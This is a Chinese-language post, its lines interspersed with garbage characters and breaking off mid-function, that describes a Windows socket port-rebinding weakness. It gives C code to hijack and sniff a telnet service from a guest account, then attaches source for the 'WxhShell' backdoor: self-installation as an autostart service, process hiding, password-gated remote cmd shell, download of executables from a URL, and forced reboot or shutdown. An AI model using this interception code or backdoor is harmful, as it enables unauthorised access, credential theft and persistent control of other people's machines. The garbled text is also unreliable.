在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
g&/p*c_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Mn: /1eY -C7]qbT
} saddr.sin_family = AF_INET;
"O>n@Q| 1r)kR@!LNG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
YA(@5CZ +A_J1iJ< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
H(^bC5' $3+PbYY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$gle8Z- &sVvWNO#2 这意味着什么?意味着可以进行如下的攻击:
{Z;t ^:s# F9q8SA#" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7\
SUr9[ DrW#v-d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]1-z!B 4K h( QYxI,| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3 *S{;p uZKP"Oy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?ne_m:J[ 2LY=DL7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>"3>s% s=I'e/"7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\g)Xt?w0Wo RH;:9_*F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_#$9 y1bd 3#kitmV #include
_cDF{E+; #include
96Wp!]* #include
&.i^dO^} #include
LS>G4
] DWORD WINAPI ClientThread(LPVOID lpParam);
5wt TP ;P int main()
s0UFym8 {
5 +9Ze9 WORD wVersionRequested;
s'P( ,!f DWORD ret;
hm$X]H`uMX WSADATA wsaData;
/x@RNdKv BOOL val;
DR9: _ SOCKADDR_IN saddr;
m@Ev~~; SOCKADDR_IN scaddr;
8
}'|]JK int err;
}71LLzG`/ SOCKET s;
=(AtfW^H SOCKET sc;
&7?R+ZGo int caddsize;
\J^ HANDLE mt;
0CvsvUN@ DWORD tid;
-l+P8:fL~ wVersionRequested = MAKEWORD( 2, 2 );
e=P err = WSAStartup( wVersionRequested, &wsaData );
#>;FUZuJr if ( err != 0 ) {
$e%2t^ i.g printf("error!WSAStartup failed!\n");
|V[9}E:
h return -1;
[K~]& }
3-s}6<0v1 saddr.sin_family = AF_INET;
9W*+SlH@! 6Q|k7*,B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5@osnf? #PLEPB saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Sywu=b saddr.sin_port = htons(23);
j{VGClb=T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{xcZ*m!B {
7;`o(
[N printf("error!socket failed!\n");
:
DG)g3# return -1;
GDaN }
^[:9fs val = TRUE;
W><Zn=G4)b //SO_REUSEADDR选项就是可以实现端口重绑定的
tEd.'D8 s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sf}Dh {
UsVMoX^ printf("error!setsockopt failed!\n");
e`tLR- & return -1;
_K9VMczj }
qL5I#?OMkU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b}ODWdJ1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Lju7,/UD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UQCo}vM $L4/I !Yf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
5vzceQE} {
E&$_`m; ret=GetLastError();
v'2[[u{7* printf("error!bind failed!\n");
4\t1mocCSN return -1;
4wzlJ19E( }
YEu1#N listen(s,2);
"e3["' while(1)
>r/rc`Q {
5@Bu99` caddsize = sizeof(scaddr);
Fh7'[>onw //接受连接请求
}S-DB#6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I&9S;I$ if(sc!=INVALID_SOCKET)
8$N8}q% {
| aQ"3d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
` >!n if(mt==NULL)
q}Z3?W
{
WnFG{S{s printf("Thread Creat Failed!\n");
73A)lU. break;
|xr%6 [Ff }
u]^N&2UW }
Nb2Qp
K CloseHandle(mt);
9&%fq)gS }
a\uie$"cr] closesocket(s);
/T^ JS WSACleanup();
F,Xo|jjj return 0;
C.:=lo B }
_zxLwU1(x DWORD WINAPI ClientThread(LPVOID lpParam)
TfxwVPX {
,''cNV SOCKET ss = (SOCKET)lpParam;
.N4 SOCKET sc;
.UCt|> $ unsigned char buf[4096];
ER2GjZa\z SOCKADDR_IN saddr;
g3@Rl2yQJ long num;
!
ueN|8' DWORD val;
I[MgIr^ DWORD ret;
h 6G/O`: //如果是隐藏端口应用的话,可以在此处加一些判断
0rk]/--FGJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jcCoan saddr.sin_family = AF_INET;
x)rlyjFM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qJ!Z~-hS saddr.sin_port = htons(23);
39U5jj7i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+eQe%U {
$m1<i?'m printf("error!socket failed!\n");
YIt9M,5/Q return -1;
M
x5`yT7 }
;P &y,:<m: val = 100;
6TWWlU^e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5/[H+O1; {
u/b7Z`yX} ret = GetLastError();
h)lPi return -1;
b/$km?R }
S,fCV~Cio? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"Y`3DxXz {
fjo{av~]y ret = GetLastError();
8GPIZh'0h return -1;
r#PMy$7L }
?B@;QjhjiJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
js^ ,(CS {
~Vh(6q.oT printf("error!socket connect failed!\n");
.Hhh i closesocket(sc);
pN6%&@) = closesocket(ss);
x"kjs.d7[< return -1;
J;t 7&Zpe }
c97{Pu while(1)
djQv[Vc{ {
]e:/" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E! /[gZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
QR?yG+VU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)CPM7> num = recv(ss,buf,4096,0);
.@)mxC:\K9 if(num>0)
v7 send(sc,buf,num,0);
4 PLk else if(num==0)
,:Jus break;
%\O#&=$E num = recv(sc,buf,4096,0);
tary6K9K+ if(num>0)
,y`CRlr: send(ss,buf,num,0);
+.B<Hd else if(num==0)
MfF~8 break;
#$~ba%t9% }
r'LVa6e"N closesocket(ss);
->z54 T
closesocket(sc);
# M, 7 return 0 ;
~na!@<zB{ }
2'jOP"G #qU-j/Qf gbOpj3 ==========================================================
!{et8F@d| E"iUq 下边附上一个代码,,WXhSHELL
~\p]~qQ\K #v#<itfFH ==========================================================
GY3 Wj w1x"
c>1C #include "stdafx.h"
"@@I!RwA +=Jir1SLV #include <stdio.h>
S0h'50WteJ #include <string.h>
d4:`@* #include <windows.h>
U/ V #include <winsock2.h>
9Gy #include <winsvc.h>
zepop19 #include <urlmon.h>
vzzE-(\\e Sgim3):Z #pragma comment (lib, "Ws2_32.lib")
C$Lu]pIL* #pragma comment (lib, "urlmon.lib")
pA.J@,>`}
vr#+0:| #define MAX_USER 100 // 最大客户端连接数
.M,RFC #define BUF_SOCK 200 // sock buffer
,jA)wJ #define KEY_BUFF 255 // 输入 buffer
84HUBud76Y 7A\Cbu2tf #define REBOOT 0 // 重启
`
8W* #define SHUTDOWN 1 // 关机
g
6]epp[8 .Xm(D>>k #define DEF_PORT 5000 // 监听端口
^
&E}r{? waX>0e #define REG_LEN 16 // 注册表键长度
'[$)bPMHl #define SVC_LEN 80 // NT服务名长度
h1 WT HCK|~k // 从dll定义API
V^y^
;0I}[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1}hIW":3Sr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_(J&aY\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ZnFi<@UB) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}nt*
[:% wIkN9
f // wxhshell配置信息
}(a+aHH struct WSCFG {
O/:UJ( e{ int ws_port; // 监听端口
['z[ char ws_passstr[REG_LEN]; // 口令
!$2Z-! int ws_autoins; // 安装标记, 1=yes 0=no
x@mL $ char ws_regname[REG_LEN]; // 注册表键名
a`Gx=8 char ws_svcname[REG_LEN]; // 服务名
ob+euCuJ char ws_svcdisp[SVC_LEN]; // 服务显示名
_X~87 char ws_svcdesc[SVC_LEN]; // 服务描述信息
`[o)<<} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%h1N3\y9i( int ws_downexe; // 下载执行标记, 1=yes 0=no
f}guv~K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
HM>lg`S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u66XN^ Z*G(5SqUh" };
W\1i,ew> .xf<=ep // default Wxhshell configuration
[c_|ob] struct WSCFG wscfg={DEF_PORT,
E{6~oZ#L "xuhuanlingzhe",
(}. @b|s 1,
Y*_)h\f "Wxhshell",
<2C7<7{7 "Wxhshell",
A!1;}x "WxhShell Service",
|t$Ma'P "Wrsky Windows CmdShell Service",
!4] 9!<.k "Please Input Your Password: ",
0G!]= 1,
jYNrD"n "
http://www.wrsky.com/wxhshell.exe",
</uOe.l>Q "Wxhshell.exe"
:Hxv6 };
aq7~QX_0G "3FihE]k // 消息定义模块
`1 :{0p2q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5SCKP<rb char *msg_ws_prompt="\n\r? for help\n\r#>";
04r$>#E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L(GjZAP char *msg_ws_ext="\n\rExit.";
j*xV!DqC char *msg_ws_end="\n\rQuit.";
`y#UJYXQE char *msg_ws_boot="\n\rReboot...";
=4d (b ; char *msg_ws_poff="\n\rShutdown...";
Wg`R_>qQSm char *msg_ws_down="\n\rSave to ";
UMX@7a,[3 "
RxP^l char *msg_ws_err="\n\rErr!";
r$)w7Gk< char *msg_ws_ok="\n\rOK!";
8enEA^ G
"P4- char ExeFile[MAX_PATH];
G[jW<'f int nUser = 0;
hy|b6wF& HANDLE handles[MAX_USER];
D7_*k%;@ int OsIsNt;
dz Zb yCCrK@{oo SERVICE_STATUS serviceStatus;
yA47"R SERVICE_STATUS_HANDLE hServiceStatusHandle;
KZPEG!-5 ||yzt!n // 函数声明
{k rswh3 int Install(void);
m,fAeln
int Uninstall(void);
K\|FQ^#UYm int DownloadFile(char *sURL, SOCKET wsh);
V)}rEX int Boot(int flag);
nS>8bub30 void HideProc(void);
n_'{^6*O int GetOsVer(void);
S6fb f>[ int Wxhshell(SOCKET wsl);
Uix6GT; void TalkWithClient(void *cs);
Z0l+1iMx int CmdShell(SOCKET sock);
K_&4D' int StartFromService(void);
QY= = GfHt int StartWxhshell(LPSTR lpCmdLine);
Y3Q9=u*5 4j)tfhwd8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
aMTu-hA VOID WINAPI NTServiceHandler( DWORD fdwControl );
qx%}knB Hc`A3SMR // 数据结构和表定义
Bj7gQ%>H4 SERVICE_TABLE_ENTRY DispatchTable[] =
irjP>3_e {
m# =z7.XrX {wscfg.ws_svcname, NTServiceMain},
$ `7^+8vHV {NULL, NULL}
_YRE (YZ/ };
43=,yz2Ef ,a#EW+" Z // 自我安装
!>:?rSg* int Install(void)
8_N]e'WUh {
;| 1$Q!4 char svExeFile[MAX_PATH];
<tioJG{OT HKEY key;
O#I1V K strcpy(svExeFile,ExeFile);
Sfdu`MQR *g^x*|f6 // 如果是win9x系统,修改注册表设为自启动
,i@X'<;y if(!OsIsNt) {
+@r*} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f5 `g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kwsp9 0) RegCloseKey(key);
4bgqg0z> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J`2"KzR0w" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)m. 4i =X RegCloseKey(key);
)2M>3C6>f return 0;
6^DR0sO }
j)q\9#sI/( }
^aW
Z!gi }
a0Zv p>Ft else {
dUsxvho
Tgl} // 如果是NT以上系统,安装为系统服务
/7
Cn(s5 o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
sq'Pyz[[ if (schSCManager!=0)
+]Y,q
w {
V dn&c SC_HANDLE schService = CreateService
)rixMl &[ (
HJY2#lSha6 schSCManager,
=Qn ;_+Ct wscfg.ws_svcname,
fj&i63?e wscfg.ws_svcdisp,
(P`3 @H SERVICE_ALL_ACCESS,
+U@<\kIF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ZzX~&95G SERVICE_AUTO_START,
n?c]M SERVICE_ERROR_NORMAL,
E6 WA}_ svExeFile,
Z:_D0jG NULL,
.rf"
(lM NULL,
y8DhOlewQ NULL,
e zOj+vz NULL,
}[xs~!2F NULL
!Ta>U^7 );
1</kTm/Qa if (schService!=0)
[
I/<_AT# {
QNl'ZB\ CloseServiceHandle(schService);
z0do;_x]E CloseServiceHandle(schSCManager);
}C|dyyr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)Dz+X9;g+ strcat(svExeFile,wscfg.ws_svcname);
KSrx[q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?y!E-& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
95V@X
^Ee RegCloseKey(key);
Zcc9e03 return 0;
^k\e8F/ }
p
l&Muv }
]EpWSs!"g CloseServiceHandle(schSCManager);
~#/hzS }
C7O6qpO }
1w&!H]%{ *2X0^H|dS return 1;
b?'yAXk }
+j4"!:N}B 4f;HQ-Iv // 自我卸载
RZCq {|L
int Uninstall(void)
Kx%Sku<F' {
/7YF mI/0 HKEY key;
@|tL8? jt.3P if(!OsIsNt) {
PV=5UyjW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Gmz6$^D RegDeleteValue(key,wscfg.ws_regname);
@i*|s~15 RegCloseKey(key);
7!N2-6GV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mtjh` RegDeleteValue(key,wscfg.ws_regname);
%Ijj=wW RegCloseKey(key);
f1(+
bE% return 0;
#KiRfx4G }
}3L@J8:D" }
&EnuE0BD }
^) s2$A:L else {
lO_UPC\@fw %p0xM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{qa Aq%' if (schSCManager!=0)
h?azFA~ {
C;vtY[}< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Vkc#7W( if (schService!=0)
bv*,#Qm {
aVd,xl if(DeleteService(schService)!=0) {
=i7`ek CloseServiceHandle(schService);
ziCHjqT CloseServiceHandle(schSCManager);
,YMp<C return 0;
NSDv;|f }
_zwUE CloseServiceHandle(schService);
?%y?rk < }
)
v,:N.@Q CloseServiceHandle(schSCManager);
o+$7'+y1n- }
Ht4;5?/y }
'u1?tQ=gmk Ez-[
)44/ return 1;
2]ape !( }
G"XVn~] VH1d$ // 从指定url下载文件
=>! Y{:
y( int DownloadFile(char *sURL, SOCKET wsh)
'^"6+ k {
X.e7A/ClEo HRESULT hr;
|a!fhl+ char seps[]= "/";
BV[ 5} char *token;
w&KK3*="" char *file;
n .RhxgC< char myURL[MAX_PATH];
mFZ?hOyP. char myFILE[MAX_PATH];
]V#M%0:Q82 9^p;UA strcpy(myURL,sURL);
4BKI-;v$ token=strtok(myURL,seps);
\<)9?M : while(token!=NULL)
4zo5}L`Y {
%V ;? file=token;
E!P yL>){ token=strtok(NULL,seps);
y7i*s^ys{ }
K]9"_UnN k4[|'Dk? GetCurrentDirectory(MAX_PATH,myFILE);
d$Pab* strcat(myFILE, "\\");
2FW\O0U strcat(myFILE, file);
oczN5YSt send(wsh,myFILE,strlen(myFILE),0);
C-H@8p?T send(wsh,"...",3,0);
`u&Zrdr, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cu/5$m?xx if(hr==S_OK)
c. 2).Jt, return 0;
W!>.$4Q9 else
u[
Yk return 1;
6gs01c,BA
#c66) }
|YY_^C`"- ]f({`&K5 // 系统电源模块
UaB @ int Boot(int flag)
0ok-IHE< {
vTx2E6 HANDLE hToken;
k-{<=>uM TOKEN_PRIVILEGES tkp;
sH[ROm u!W0P6 if(OsIsNt) {
M%kO7>h8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Y1J=3Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
A"rfZ` tkp.PrivilegeCount = 1;
LpqO{#ZG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ftF@Wq1f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/
:n#`o=; if(flag==REBOOT) {
F
70R1OYU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fV'ZsJ N return 0;
Gvr@|{k }
"*srx] else {
aD$v2)RR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!74S return 0;
@6]sNm }
L$E{ycn }
8Hn|cf0 else {
#kaY0M if(flag==REBOOT) {
@dPTk"P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y3o25}" return 0;
|='z{WS }
z-.+x3&o @ else {
6U R2IxbE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[c|]f_ZdK return 0;
&bfA.&
` }
&-B^~M*?? }
wlqpn(XR esMX-.8Cx return 1;
ap+JQ@b }
Z*= $8e@ x?2@9u8Yb // win9x进程隐藏模块
R&BTA void HideProc(void)
L'0B$6 {
OZ~5*v %~E ?Z!_W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UZJCvfi if ( hKernel != NULL )
/! "|_W|n {
"Pu!dJ5[] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V#S9H!hm$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\(^nSy&N FreeLibrary(hKernel);
5a|w+HO, }
z;|A(*Y `</ff+Q6 return;
<#u=[_H }
9vGu0Um [nrYpb4 // 获取操作系统版本
G?;e-OhV int GetOsVer(void)
f-`)^5E {
6MT1$7|P&x OSVERSIONINFO winfo;
Z:sg} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YH\OFg@7 GetVersionEx(&winfo);
)\J+Kiy) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1Y7Eajt-5 return 1;
V4'YWdTi else
HoRg^Ai?\ return 0;
)quM4=u' }
A|X">,A 7G}2,ueI // 客户端句柄模块
Y6zbo int Wxhshell(SOCKET wsl)
I J( {
8{^WY7.' SOCKET wsh;
%)/P^9I6 struct sockaddr_in client;
;kS&A( DWORD myID;
~&7MkkftM 06c>$1-? while(nUser<MAX_USER)
OHb[qX\ {
+RYls|f int nSize=sizeof(client);
'":lB]hS wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Rld!,t if(wsh==INVALID_SOCKET) return 1;
y)W@{@{kl %'s>QF]' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
odjT:Vr if(handles[nUser]==0)
,}ECF> closesocket(wsh);
&3J_^210 else
V9{]OV% nUser++;
Z\ja }
ebUBrxZX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1p/3!1 V@cM |( return 0;
#t:S.A@ }
XBb~\p3y KLitg6&P // 关闭 socket
8&?s#5zA void CloseIt(SOCKET wsh)
i]6`LqlO {
->g*</ closesocket(wsh);
Rn9m]x nUser--;
(`c
[#0=n ExitThread(0);
-bT)]gA2 }
%yW3VL ifUGY[ L // 客户端请求句柄
Z{ X|6. void TalkWithClient(void *cs)
jB$IyQ;@ {
tG9BfGF <UV1!2nv* SOCKET wsh=(SOCKET)cs;
4W#vP char pwd[SVC_LEN];
|Lf"6^@yh char cmd[KEY_BUFF];
rvbLyv;~ char chr[1];
@|63K)Xy int i,j;
BGD8w2 ]
2eK while (nUser < MAX_USER) {
|"/8XA %_RQx2 if(wscfg.ws_passstr) {
D#il* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/H(?
2IHC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cDFO; Dr //ZeroMemory(pwd,KEY_BUFF);
%)|9E>fP]N i=0;
bF"G[pD while(i<SVC_LEN) {
%,6#2X nX% bm?sbE // 设置超时
T>x&T9 fd_set FdRead;
K;>9ZZtl struct timeval TimeOut;
h_:C+)13`x FD_ZERO(&FdRead);
5_I->-< FD_SET(wsh,&FdRead);
*W0y: 3dB3 TimeOut.tv_sec=8;
2jg- TimeOut.tv_usec=0;
K9$>Yxe| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E:JJ3X| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
juka0/ !`g~F\l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[ sN EHf pwd
=chr[0]; ]iN'x?Fo
if(chr[0]==0xd || chr[0]==0xa) { wQP^WzNE
pwd=0; 0-HqPdjR
break; -Zf@VW,NI
} JJ}0gZ
i++; M dZ&A}S
} \K@'Z
<j*;.yyC
// 如果是非法用户,关闭 socket =vQcYa
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /^X/ 8
} k2c}3 MeP
42e|LUZg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *c~T@m~DR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `x
l
{1V($aBl
while(1) { UDL!43K
E*.{=W }C
ZeroMemory(cmd,KEY_BUFF); *BR~}1
i
SB1upTn
// 自动支持客户端 telnet标准 U1DXeh~V
j=0; //T>G_1
while(j<KEY_BUFF) { y4*U6+ #.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A )^`?m3
cmd[j]=chr[0]; %\D)u8}
if(chr[0]==0xa || chr[0]==0xd) { _hRcc"MS`
cmd[j]=0; YP.5fq:
break; ?ooe'V@
} yaah*1ip[
j++; $FlW1E j
}
U*(izD
U}6.h&$
// 下载文件 0y
7"SiFY
if(strstr(cmd,"http://")) { AvxfI"sp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]l1\? I
if(DownloadFile(cmd,wsh)) BGOuDKz9C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Or;
else yRSTk2N@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?Ra bYd ~
} f|h|q_<;
else { /4a._@1h[y
q*F{/N**
switch(cmd[0]) { D B-l$rj
"OQ^U_
// 帮助 2_n7=&
case '?': { Fs{x(_LOr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z.GMqW%B
break; :uWw8`
} 85n1eE
// 安装 @\|_
case 'i': { bn^{c
if(Install()) 4 !y%O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BFL`!^
else 3gv|9T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V}dJ.I /#
break; @!`Xl*l
} 2] zq#6ix
// 卸载 /LO-HnJ
case 'r': { f!s=(H;
if(Uninstall()) ptDY3n~'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;.TRWn#
else 9?0^ap,T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_<I&{N>
break; -7S g62THS
} a"FCZ.O1
// 显示 wxhshell 所在路径 k9L?+PD
case 'p': { Zrvz;p@~
char svExeFile[MAX_PATH]; LG<J;&41~S
strcpy(svExeFile,"\n\r"); W}5xmz
strcat(svExeFile,ExeFile); $lLz3YS
send(wsh,svExeFile,strlen(svExeFile),0); nq6@6GRG
break; 5qr'.m
} rcMwFE?|xq
// 重启 TMig-y*[
case 'b': { ~nrK>%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MFb9H{LA
if(Boot(REBOOT)) (CsD*U`h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *QLI3B9V
else { f ` R/
i
closesocket(wsh); 8Le||)y,\
ExitThread(0); .ox8*OO<
} ||;hciO
break; cUA7#1\T=
} +R|z{M)*
// 关机 k&,~qoU
case 'd': { M7@2^G]p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F;+|sMrq
if(Boot(SHUTDOWN)) 3+ @<lVew6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mT.u0KUIy
else { &ge "x{,?
closesocket(wsh); 1`a5C.v
ExitThread(0); d4?Mi2/jF
} FQqI<6;
break; T~Gvp0r}h
} MM(xk
// 获取shell BK,{N0
case 's': { 1+}{8D_F
CmdShell(wsh); #6+@M
closesocket(wsh); v"#mzd.tW
ExitThread(0); pKit~A,Q
break; )i!o8YB
} Sgp;@4`M
// 退出 J2'Nd'
case 'x': { uf&myV7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [3{W^WSOz
CloseIt(wsh); P] UJ0b
break; {TX]\ufG
} %F-ZN^R
// 离开 m]5Cq6
case 'q': { [Pq}p0cD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?TU }~}
closesocket(wsh); o]; [R
WSACleanup(); /.Ww6a~
exit(1); <8d^^0
break; uF1~FKB
} W9D86]3Y
} QA5QweL
} >(?9?
4KH45|;3
// 提示信息 DGAX3N;r6{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?*V0luP)
} n&-qaoNl
} 1@QZnF5[
.pN`;*7`
return; V&Xe!S
} m0c P (
S5G6Rj@W
// shell模块句柄 L:1^Kxg
int CmdShell(SOCKET sock) UG'9*(*
{ m6',SY9T
STARTUPINFO si; .)<(Oj|4
ZeroMemory(&si,sizeof(si)); p' +
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4*e0 hWp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \hM|(*DL
PROCESS_INFORMATION ProcessInfo; ++V=s\d7
char cmdline[]="cmd";
\9/ b!A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oE(7v7iY
return 0; IGtl\b=
} $ep.-I>
r9
!Tug*>m
// 自身启动模式 F@<CsgKB-
int StartFromService(void) TJ1+g
\
{ Ee3hG2d`
typedef struct p TeOW9
{ L(khAmm
DWORD ExitStatus; m<0&~rg
DWORD PebBaseAddress; + j W1V}h
DWORD AffinityMask; _ B5gR
DWORD BasePriority; *7h!w!LN~
ULONG UniqueProcessId; 7LU}Iiv
ULONG InheritedFromUniqueProcessId; nSkPM5\TI
